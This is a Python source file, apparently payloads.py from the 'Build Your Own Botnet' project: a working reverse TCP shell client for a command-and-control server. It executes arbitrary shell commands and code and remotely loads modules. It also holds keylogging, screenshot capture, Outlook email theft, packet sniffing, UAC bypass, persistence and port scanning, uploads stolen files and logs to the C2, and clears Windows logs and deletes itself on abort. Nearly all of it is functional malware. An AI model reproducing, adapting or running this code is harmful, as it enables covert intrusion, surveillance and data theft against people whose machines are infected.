Path: blob/master/web-gui/buildyourownbotnet/core/payloads.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Reverse TCP Shell Payload (Build Your Own Botnet)'34# standard library5import os6import sys7import time8import json9import errno10import base6411import ftplib12import struct13import socket14import signal15import logging16import functools17import threading18import subprocess19import collections20import multiprocessing21import logging.handlers2223if sys.version_info[0] < 3:24from urllib import urlretrieve25from urllib2 import urlopen, urlparse26import StringIO27else:28from urllib import parse as urlparse29from urllib.request import urlopen, urlretrieve30from io import StringIO3132# modules33try:34from util import *35from loader import *36from security import *37except ImportError:38pass394041def log(info, level='debug'):42logging.basicConfig(level=logging.DEBUG, handlers=[logging.StreamHandler()])43logger = logging.getLogger(__name__)44getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))454647def config(*arg, **options):48"""49Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)50"""51def _config(function):52@functools.wraps(function)53def wrapper(*args, **kwargs):54return function(*args, **kwargs)55for k,v in options.items():56setattr(wrapper, k, v)57wrapper.platforms = ['win32','linux','linux2','darwin'] if not 'platforms' in options else options['platforms']58return wrapper59return _config606162def threaded(function):63"""64Decorator for making a function threaded6566`Required`67:param function: function/method to add a loading animation6869"""70@functools.wraps(function)71def _threaded(*args, **kwargs):72t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())73t.daemon = True74t.start()75return t76return _threaded7778# main79_abort = False80_debug = '--debug' in sys.argv818283class Payload():84"""85Reverse TCP shell designed to provide remote access86to the host's terminal, enabling direct control of the87device from a remote server.8889"""9091def __init__(self, host='127.0.0.1', port=1337, **kwargs):92"""93Create a reverse TCP shell instance9495`Required`96:param str host: server IP address97:param int port: server port number9899"""100self.handlers = {}101self.child_procs = {}102self.remote = {'modules': [], 'packages': ['cv2','requests','pyHook','pyxhook','mss']}103self.gui = True if kwargs.get('gui') else False104self.owner = kwargs.get('owner')105self.flags = self._get_flags()106self.c2 = (host, port)107self.connection = self._get_connection(host, port)108self.key = self._get_key(self.connection)109self.info = self._get_info()110self.xmrig_path = None111self.xmrig_path_dev = None112113114def _get_flags(self):115return collections.namedtuple('flag', ('connection','passive','prompt'))(threading.Event(), threading.Event(), threading.Event())116117118def _get_command(self, cmd):119if bool(hasattr(self, cmd) and hasattr(getattr(self, cmd), 'command') and getattr(getattr(self, cmd),'command')):120return getattr(self, cmd)121return False122123124def _get_connection(self, host, port):125while True:126try:127connection = socket.create_connection((host, port))128break129except (socket.error, socket.timeout):130log("Unable to connect to server. Retrying in 30 seconds...")131time.sleep(30)132continue133except Exception as e:134log("{} error: {}".format(self._get_connection.__name__, str(e)))135sys.exit()136self.flags.connection.set()137self.flags.passive.clear()138return connection139140141def _get_key(self, connection):142if isinstance(connection, socket.socket):143if 'diffiehellman' in globals() and callable(globals()['diffiehellman']):144return globals()['diffiehellman'](connection)145else:146raise Exception("unable to complete session key exchange: missing required function 'diffiehellman'")147else:148raise TypeError("invalid object type for argument 'connection' (expected {}, received {})".format(socket.socket, type(connection)))149150151def _get_info(self):152info = {}153for function in ['public_ip', 'local_ip', 'platform', 'mac_address', 'architecture', 'username', 'administrator', 'device']:154try:155info[function] = globals()[function]()156if isinstance(info[function], bytes):157info[function] = "_b64__" + base64.b64encode(info[function]).decode('ascii')158except Exception as e:159log("{} returned error: {}".format(function, str(e)))160161# add owner of session for web application162info['owner'] = "_b64__" + base64.b64encode(self.owner.encode('utf-8')).decode('ascii')163164# add geolocation of host machine165latitude, longitude = globals()['geolocation']()166info['latitude'] = "_b64__" + base64.b64encode(latitude.encode('utf-8')).decode('ascii')167info['longitude'] = "_b64__" + base64.b64encode(longitude.encode('utf-8')).decode('ascii')168169# encrypt and send data to server170data = globals()['encrypt_aes'](json.dumps(info), self.key)171msg = struct.pack('!L', len(data)) + data172self.connection.sendall(msg)173return info174175176@threaded177def _get_resources(self, target=None, base_url=None):178if sys.version_info[0] < 3:179from urllib import urlretrieve180from urllib2 import urlopen, urlparse181import StringIO182else:183from urllib import parse as urlparse184from urllib.request import urlopen, urlretrieve185from io import StringIO186try:187if not isinstance(target, list):188raise TypeError("keyword argument 'target' must be type 'list'")189if not isinstance(base_url, str):190raise TypeError("keyword argument 'base_url' must be type 'str'")191if not base_url.startswith('http'):192raise ValueError("keyword argument 'base_url' must start with http:// or https://")193log('[*] Searching %s' % base_url)194path = urlparse.urlsplit(base_url).path195base = path.strip('/').replace('/','.')196names = []197for line in urlopen(base_url).read().splitlines():198line = str(line)199if 'href' in line and '</a>' in line and '__init__.py' not in line:200names.append(line.rpartition('</a>')[0].rpartition('>')[2].strip('/'))201for n in names:202name, ext = os.path.splitext(n)203if ext in ('.py','.pyc'):204module = '.'.join((base, name)) if base else name205if module not in target:206log("[+] Adding %s" % module)207target.append(module)208elif not len(ext):209t = threading.Thread(target=self._get_resources, kwargs={'target': target, 'base_url': '/'.join((base_url, n))})210t.daemon = True211t.start()212else:213resource = '/'.join((path, n))214if resource not in target:215target.append(resource)216except Exception as e:217log("{} error: {}".format(self._get_resources.__name__, str(e)))218219220@threaded221def _get_prompt_handler(self):222self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})223while True:224try:225self.flags.prompt.wait()226self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})227self.flags.prompt.clear()228if globals()['_abort']:229break230except Exception as e:231log(str(e))232break233234235@threaded236def _get_thread_handler(self):237while True:238jobs = self.handlers.items()239deadpool = []240for task, worker in jobs:241if worker:242try:243if not worker.is_alive():244deadpool.append(task)245except Exception as e:246log(str(e))247for task in deadpool:248dead = self.handlers.pop(task, None)249del dead250if globals()['_abort']:251break252time.sleep(0.5)253254@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='cd <path>')255def cd(self, path='.'):256"""257Change current working directory258259`Optional`260:param str path: target directory (default: current directory)261262"""263try:264os.chdir(path)265return os.getcwd()266except:267return "{}: No such file or directory".format(path)268269270@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='ls <path>')271def ls(self, path='.'):272"""273List the contents of a directory274275`Optional`276:param str path: target directory277278"""279output = []280if os.path.isdir(path):281for line in os.listdir(path):282if len('\n'.join(output + [line])) < 2048:283output.append(line)284else:285break286return '\n'.join(output)287else:288return "Error: path not found"289290291@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='cat <path>')292def cat(self, path):293"""294Display file contents295296`Required`297:param str path: target filename298299"""300output = []301if not os.path.isfile(path):302return "Error: file not found"303for line in open(path, 'rb').read().splitlines():304if len(line) and not line.isspace():305if len('\n'.join(output + [line])) < 48000:306output.append(line)307else:308break309return b'\n'.join(output).decode(errors="ignore")310311312@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='pwd')313def pwd(self, *args):314"""315Show name of present working directory316317"""318return os.getcwd()319320321@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='eval <code>')322def eval(self, code):323"""324Execute Python code in current context325326`Required`327:param str code: string of Python code to execute328329"""330try:331return eval(code)332except Exception as e:333return "{} error: {}".format(self.eval.__name__, str(e))334335336@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='wget <url>')337def wget(self, url, filename=None):338"""339Download file from URL340341`Required`342:param str url: target URL to download ('http://...')343344`Optional`345:param str filename: name of the file to save the file as346347"""348if sys.version_info[0] < 3:349from urllib import urlretrieve350from urllib2 import urlopen, urlparse351import StringIO352else:353from urllib import parse as urlparse354from urllib.request import urlopen, urlretrieve355if url.startswith('http'):356try:357path, _ = urlretrieve(url, filename) if filename else urlretrieve(url)358return path359except Exception as e:360log("{} error: {}".format(self.wget.__name__, str(e)))361else:362return "Invalid target URL - must begin with 'http'"363364365@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='kill')366def kill(self):367"""368Shutdown the current connection369370"""371try:372self.flags.connection.clear()373self.flags.passive.clear()374self.flags.prompt.clear()375self.connection.close()376377# kill threads378for thread in list(self.handlers):379try:380self.stop(thread)381except Exception as e:382log("{} error: {}".format(self.kill.__name__, str(e)))383384# kill sub processes (subprocess.Popen)385for proc in self.execute.process_list.values():386try:387proc.kill()388except: pass389390# kill child processes (multiprocessing.Process)391for child_proc in self.child_procs.values():392try:393child_proc.terminate()394except: pass395except Exception as e:396log("{} error: {}".format(self.kill.__name__, str(e)))397398399@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='help [cmd]')400def help(self, name=None):401"""402Show usage help for commands and modules403404`Optional`405:param str command: name of a command or module406407"""408if not name:409try:410return json.dumps({v.usage: v.__doc__.strip('\n').splitlines()[0].lower() for k,v in vars(Payload).items() if callable(v) if hasattr(v, 'command') if getattr(v, 'command')})411except Exception as e:412log("{} error: {}".format(self.help.__name__, str(e)))413elif hasattr(Payload, name) and hasattr(getattr(Payload, name), 'command'):414try:415return json.dumps({getattr(Payload, name).usage: getattr(Payload, name).__doc__})416except Exception as e:417log("{} error: {}".format(self.help.__name__, str(e)))418else:419return "'{}' is not a valid command and is not a valid module".format(name)420421422@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='load <module> [target]')423def load(self, args):424"""425Remotely import a module or package426427`Required`428:param str module: name of module/package429430`Optional`431:param str target: name of the target destination (default: globals)432433"""434args = str(args).split()435if len(args) == 1:436module, target = args[0], ''437elif len(args) == 2:438module, target = args439else:440return "usage: {}".format(self.load.usage)441target = globals()[target].__dict__ if bool(target in globals() and hasattr(target, '__dict__')) else globals()442host, port = self.connection.getpeername()443base_url_1 = 'http://{}:{}'.format(host, port + 1)444base_url_2 = 'http://{}:{}'.format(host, port + 2)445with globals()['remote_repo'](self.remote['packages'], base_url_2):446with globals()['remote_repo'](self.remote['modules'], base_url_1):447try:448exec('import {}'.format(module), target)449log('[+] {} remotely imported'.format(module))450return '[+] {} remotely imported'.format(module)451except Exception as e:452log("{} error: {}".format(self.load.__name__, str(e)))453return "{} error: {}".format(self.load.__name__, str(e))454455456@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='stop <job>')457def stop(self, target):458"""459Stop a running job460461`Required`462:param str target: name of job to stop463"""464try:465if target in self.handlers:466_ = self.handlers.pop(target, None)467del _468return "Job '{}' was stopped.".format(target)469else:470return "Job '{}' not found".format(target)471except Exception as e:472log("{} error: {}".format(self.stop.__name__, str(e)))473474475@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='show <value>')476def show(self, attribute):477"""478Show value of an attribute479480`Required`481:param str attribute: payload attribute to show482483Returns attribute(s) as a dictionary (JSON) object484485"""486try:487attribute = str(attribute)488if 'jobs' in attribute:489return json.dumps({a: status(self.handlers[a].name) for a in self.handlers if self.handlers[a].is_alive()})490elif 'info' in attribute:491return json.dumps(self.info)492elif hasattr(self, attribute):493try:494return json.dumps(getattr(self, attribute))495except:496try:497return json.dumps(vars(getattr(self, attribute)))498except: pass499elif hasattr(self, str('_%s' % attribute)):500try:501return json.dumps(getattr(self, str('_%s' % attribute)))502except:503try:504return json.dumps(vars(getattr(self, str('_%s' % attribute))))505except: pass506else:507return self.show.usage508except Exception as e:509log("'{}' error: {}".format(self.show.__name__, str(e)))510511512@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='abort')513def abort(self, *args):514"""515Abort execution and self-destruct516517"""518globals()['_abort'] = True519try:520if os.name == 'nt':521clear_system_logs()522if 'persistence' in globals():523global persistence524for method in persistence.methods:525if persistence.methods[method].get('established'):526try:527remove = getattr(persistence, 'remove_{}'.format(method))()528except Exception as e2:529log("{} error: {}".format(method, str(e2)))530if not _debug:531delete(sys.argv[0])532finally:533shutdown = threading.Thread(target=self.connection.close)534taskkill = threading.Thread(target=self.process, args=('kill python',))535shutdown.start()536taskkill.start()537sys.exit()538539540@config(platforms=['darwin'], command=True, usage='icloud')541def icloud(self):542"""543Check for logged in iCloud account on macOS544545"""546if 'icloud' not in globals():547self.load('icloud')548return globals()['icloud'].run()549550551@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='upload [file]')552def upload(self, filename):553"""554Upload file from client machine to the C2 server555556`Required`557:param str source: filename558559"""560try:561if os.path.isfile(filename):562host, port = self.connection.getpeername()563_, filetype = os.path.splitext(filename)564with open(filename, 'rb') as fp:565data = base64.b64encode(fp.read())566json_data = {'data': str(data), 'filename': filename, 'type': filetype, 'owner': self.owner, "module": self.upload.__name__, "session": self.info.get('public_ip')}567568# upload data to server569if self.gui:570globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)571else:572globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)573return "Upload complete (see Exfiltrated Files tab to download file)"574else:575return "Error: file not found"576except Exception as e:577log("{} error: {}".format(self.upload.__name__, str(e)))578return "Error: {}".format(str(e))579580581@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='passive')582def passive(self):583"""584Keep client alive while waiting to re-connect585586"""587log("{} : Bot entering passive mode awaiting C2.".format(self.passive.__name__))588self.flags.connection.clear()589self.flags.passive.set()590591592@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='restart [output]')593def restart(self, output='connection'):594"""595Restart the shell596597"""598try:599log("{} failed - restarting in 3 seconds...".format(output))600self.kill()601time.sleep(3)602os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:])603except Exception as e:604log("{} error: {}".format(self.restart.__name__, str(e)))605606607@config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')608def outlook(self, args=None):609"""610Access Outlook email in the background611612`Required`613:param str mode: installed, run, count, search, upload614615"""616if 'outlook' not in globals():617self.load('outlook')618elif not args:619try:620if not globals()['outlook'].installed():621return "Error: Outlook not installed on this host"622else:623return "Outlook is installed on this host"624except: pass625else:626try:627mode, _, arg = str(args).partition(' ')628if hasattr(globals()['outlook'], mode):629630if 'run' in mode:631self.handlers['outlook'] = globals()['outlook'].run()632return "Fetching emails from Outlook inbox..."633634elif 'upload' in mode:635results = globals()['outlook'].results636if len(results):637host, port = self.connection.getpeername()638data = base64.b64encode(json.dumps(results))639json_data = {'data': str(data), 'type': 'txt', 'owner': self.owner, "module": self.outlook.__name__, "session": self.info.get('public_ip')}640641# upload data to server642if self.gui:643globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)644else:645globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)646return "Upload of Outlook emails complete (see Exfiltrated Files tab to download files)"647elif hasattr(globals()['outlook'], mode):648return getattr(globals()['outlook'], mode)()649else:650return "Error: invalid mode '%s'" % mode651else:652return self.outlook.usage653except Exception as e:654log("{} error: {}".format(self.email.__name__, str(e)))655656657@config(platforms=['win32'], command=True, usage='escalate')658def escalate(self):659"""660Attempt UAC bypass to escalate privileges661662"""663try:664if 'escalate' not in globals():665self.load('escalate')666return globals()['escalate'].run(sys.argv[0])667except Exception as e:668log("{} error: {}".format(self.escalate.__name__, str(e)))669670671@config(platforms=['win32','linux','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')672def execute(self, args):673"""674Run an executable program in a hidden process675676`Required`677:param str path: file path of the target program678679`Optional`680:param str args: arguments for the target program681682"""683log(args)684path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]685args = [path] + args.split()686if os.path.isfile(path):687name = os.path.splitext(os.path.basename(path))[0]688try:689# attempt to run hidden process690info = subprocess.STARTUPINFO()691info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP692info.wShowWindow = subprocess.SW_HIDE693self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)694return "Running '{}' in a hidden process".format(path)695except Exception as e:696# revert to normal process if hidden process fails697try:698self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)699return "Running '{}' in a new process".format(name)700except Exception as e:701log("{} error: {}".format(self.execute.__name__, str(e)))702return "{} error: {}".format(self.execute.__name__, str(e))703else:704return "File '{}' not found".format(str(path))705706707@config(platforms=['win32'], command=True, usage='process <mode>')708def process(self, args=None):709"""710Utility method for interacting with processes711712`Required`713:param str mode: block, list, monitor, kill, search, upload714715`Optional`716:param str args: arguments specific to the mode717718"""719try:720if 'process' not in globals():721self.load('process')722if args:723cmd, _, action = str(args).partition(' ')724if 'monitor' in cmd:725self.handlers['process_monitor'] = globals()['process'].monitor(action)726return "Monitoring process creation for keyword: {}".format(action)727elif 'upload' in cmd:728log = globals()['process'].log.getvalue()729if len(log):730host, port = self.connection.getpeername()731data = base64.b64encode(log)732json_data = {'data': str(data), 'type': 'log', 'owner': self.owner, "module": self.process.__name__, "session": self.info.get('public_ip')}733734# upload data to server735if self.gui:736globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)737else:738globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)739return "Process log upload complete (see Exfiltrated Files tab to download file)"740else:741return "Process log is empty"742elif hasattr(globals()['process'], cmd):743return getattr(globals()['process'], cmd)(action) if action else getattr(globals()['process'], cmd)()744return "usage: process <mode>\n mode: block, list, search, kill, monitor"745except Exception as e:746log("{} error: {}".format(self.process.__name__, str(e)))747748749@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='portscanner <target>')750def portscanner(self, target=None):751"""752Scan a target host or network to identify753other target hosts and open ports.754755`Required`756:param str target: IPv4 address757758"""759if 'portscanner' not in globals():760self.load('portscanner')761try:762if target:763if not ipv4(target):764return "Error: invalid IP address '%s'" % target765return globals()['portscanner'].run(target)766else:767return self.portscanner.usage768except Exception as e:769log("{} error: {}".format(self.portscanner.__name__, str(e)))770771772@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='keylogger [mode]')773def keylogger(self, mode=None):774"""775Log user keystrokes776777`Required`778:param str mode: run, stop, status, upload779780"""781def status():782try:783length = globals()['keylogger'].logs.tell()784return "Log size: {} bytes".format(length)785except Exception as e:786log("{} error: {}".format('keylogger.status', str(e)))787if 'keylogger' not in globals():788self.load('keylogger')789if not mode:790if 'keylogger' not in self.handlers:791return globals()['keylogger'].usage792else:793return locals()['status']()794else:795if 'run' in mode or 'start' in mode:796if 'keylogger' not in self.handlers:797self.handlers['keylogger'] = globals()['keylogger'].run()798return locals()['status']()799else:800return locals()['status']()801elif 'stop' in mode:802try:803self.stop('keylogger')804except: pass805try:806self.stop('keylogger')807except: pass808return locals()['status']()809elif 'upload' in mode:810host, port = self.connection.getpeername()811data = base64.b64encode(globals()['keylogger'].logs.getvalue())812json_data = {'data': str(data), 'owner': self.owner, 'type': 'txt', "module": self.keylogger.__name__, "session": self.info.get('public_ip')}813814# upload data to server815if self.gui:816globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)817else:818globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)819820globals()['keylogger'].logs.reset()821return 'Keystroke log upload complete (see Exfiltrated Files tab to download file)'822elif 'status' in mode:823return locals()['status']()824else:825return self.keylogger.usage826827828@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='screenshot')829def screenshot(self, mode=None):830"""831Capture a screenshot from host device832833`Optional`834:param str mode: ftp, imgur (default: None)835836"""837try:838if 'screenshot' not in globals():839self.load('screenshot')840host, port = self.connection.getpeername()841data = globals()['screenshot'].run()842json_data = {"data": str(data), "owner": self.owner, "type": "png", "module": self.screenshot.__name__, "session": self.info.get('public_ip')}843if self.gui:844globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)845else:846globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)847return 'Screenshot complete (see Exfiltrated Files tab to download file)'848except Exception as e:849result = "{} error: {}".format(self.screenshot.__name__, str(e))850log(result)851return result852853854@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='persistence <add/remove> [method]')855def persistence(self, args=None):856"""857Establish persistence on client host machine858859`Required`860:param str target: add, remove. methods, results861862`Methods`863:method all: All Methods864:method registry_key: Windows Registry Key865:method scheduled_task: Windows Task Scheduler866:method startup_file: Windows Startup File867:method launch_agent: Mac OS X Launch Agent868:method crontab_job: Linux Crontab Job869:method hidden_file: Hidden File870871"""872try:873if not 'persistence' in globals():874self.load('persistence')875cmd, _, action = str(args).partition(' ')876if cmd not in ('add','remove'):877return self.persistence.usage878for method in globals()['persistence']._methods:879if action == 'all' or action == method:880try:881getattr(globals()['persistence']._methods[method], cmd)()882except Exception as e:883log("{} error: {}".format(self.persistence.__name__, str(e)))884return json.dumps(globals()['persistence'].results())885except Exception as e:886log("{} error: {}".format(self.persistence.__name__, str(e)))887888889@config(platforms=['linux','linux2','darwin'], capture=[], command=True, usage='packetsniffer [mode]')890def packetsniffer(self, args):891"""892Capture traffic on local network893894`Required`895:param str args: run, stop, upload896897"""898try:899if 'packetsniffer' not in globals():900self.load('packetsniffer')901args = str(args).split()902if len(args):903mode = args[0]904if 'run' in mode:905globals()['packetsniffer'].flag.set()906self.handlers['packetsniffer'] = globals()['packetsniffer'].run()907return "Network traffic capture started"908elif 'stop' in mode:909globals()['packetsniffer'].flag.clear()910return "Network traffic captured stopped"911elif 'upload' in mode:912log = globals()['packetsniffer'].log.getvalue()913if len(log):914globals()['packetsniffer'].log.reset()915host, port = self.connection.getpeername()916data = base64.b64encode(log)917json_data = {"data": str(data), "type": "pcap", "owner": self.owner, "module": self.packetsniffer.__name__, "session": self.info.get('public_ip')}918919# upload data to server920if self.gui:921globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)922else:923globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)924return "Network traffic log upload complete (see Exfiltrated Files tab to download file)"925else:926return "Network traffic log is empty"927else:928return self.packetsniffer.usage929except Exception as e:930log("{} error: {}".format(self.packetsniffer.__name__, str(e)))931932def send_task(self, task):933"""934Send task results to the server935936`Task`937:attr str uid: task ID assigned by server938:attr str task: task assigned by server939:attr str result: task result completed by client940:attr str session: session ID assigned by server941:attr datetime issued: time task was issued by server942:attr datetime completed: time task was completed by client943944Returns True if succesfully sent task to server, otherwise False945946"""947try:948if not 'session' in task:949task['session'] = self.info.get('uid')950if self.flags.connection.wait(timeout=1.0):951data = globals()['encrypt_aes'](json.dumps(task), self.key)952msg = struct.pack('!L', len(data)) + data953self.connection.sendall(msg)954return True955return False956except Exception as e:957e = str(e)958if "Errno 104" in e or "10054" in e:959log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.send_task.__name__, e))960self.kill()961return962elif "Errno 32" in e or "10052" in e:963log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.send_task.__name__, e))964elif "Errno 111" in e or "10061" in e:965log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.send_task.__name__, e))966else:967log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.send_task.__name__, e))968self.passive()969#log("{} error: {}".format(self.send_task.__name__, str(e)))970971972def recv_task(self):973"""974Receive and decrypt incoming task from server975976`Task`977:attr str uid: task ID assigned by server978:attr str session: client ID assigned by server979:attr str task: task assigned by server980:attr str result: task result completed by client981:attr datetime issued: time task was issued by server982:attr datetime completed: time task was completed by client983984"""985try:986hdr_len = struct.calcsize('!L')987hdr = self.connection.recv(hdr_len)988if len(hdr) == 4:989msg_len = struct.unpack('!L', hdr)[0]990msg = self.connection.recv(msg_len)991data = globals()['decrypt_aes'](msg, self.key)992return json.loads(data)993else:994log("{} error: invalid header length".format(self.recv_task.__name__))995log("Restarting client...")996if not self.connection.recv(hdr_len):997self.restart()998except Exception as e:999e = str(e)1000if "Errno 104" in e or "10054" in e:1001log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.recv_task.__name__, e))1002self.kill()1003return1004elif "Errno 32" in e or "10052" in e:1005log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.recv_task.__name__, e))1006elif "Errno 111" in e or "10061" in e:1007log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.recv_task.__name__, e))1008else:1009log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.recv_task.__name__, e))1010self.passive()1011#log("{} error: {}".format(self.recv_task.__name__, str(e)))101210131014def run(self):1015"""1016Initialize a reverse TCP shell1017"""1018host, port = self.connection.getpeername()10191020# run 2 threads which remotely load packages/modules from c2 server1021self.handlers['module_handler'] = self._get_resources(target=self.remote['modules'], base_url='http://{}:{}'.format(host, port + 1))1022self.handlers['package_handler'] = self._get_resources(target=self.remote['packages'], base_url='http://{}:{}'.format(host, port + 2))10231024# create thread handlers to cleanup dead/stale threads1025self.handlers['prompt_handler'] = self._get_prompt_handler() if not self.gui else None1026self.handlers['thread_handler'] = self._get_thread_handler()10271028# loop listening for tasks from server and sending responses.1029# if connection is dropped, enter passive mode and retry connection every 30 seconds.1030while True:10311032# leave passive mode when connection re-established1033if self.flags.passive.is_set() and not self.flags.connection.is_set():1034host, port = self.c21035self.connection = self._get_connection(host, port)1036self.key = self._get_key(self.connection)1037self.info = self._get_info()1038log("{} : leaving passive mode.".format(self.run.__name__))1039self.flags.prompt.set()10401041# active mode1042elif self.flags.connection.wait(timeout=1.0):1043if self.gui or not self.flags.prompt.is_set():1044task = self.recv_task()1045if isinstance(task, dict) and 'task' in task:1046cmd, _, action = task['task'].partition(' ')1047try:10481049# run command as module if module exists.1050# otherwise, run as shell command in subprocess1051command = self._get_command(cmd)1052if command:1053result = command(action) if action else command()1054else:1055result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate()1056if result == None:1057result = reserr10581059# format result1060if result != None:1061if type(result) in (list, tuple):1062result = '\n'.join(result)1063elif type(result) == bytes:1064result = str(result.decode())1065else:1066result = str(result)1067except Exception as e:1068result = "{} error: {}".format(self.run.__name__, str(e)).encode()1069log(result)107010711072# send response to server1073task.update({'result': result})1074self.send_task(task)10751076if not self.gui:1077self.flags.prompt.set()1078elif self.flags.prompt.set() and not self.flags.connection.wait(timeout=1.0):1079self.kill()1080else:1081log("Connection timed out")1082break108310841085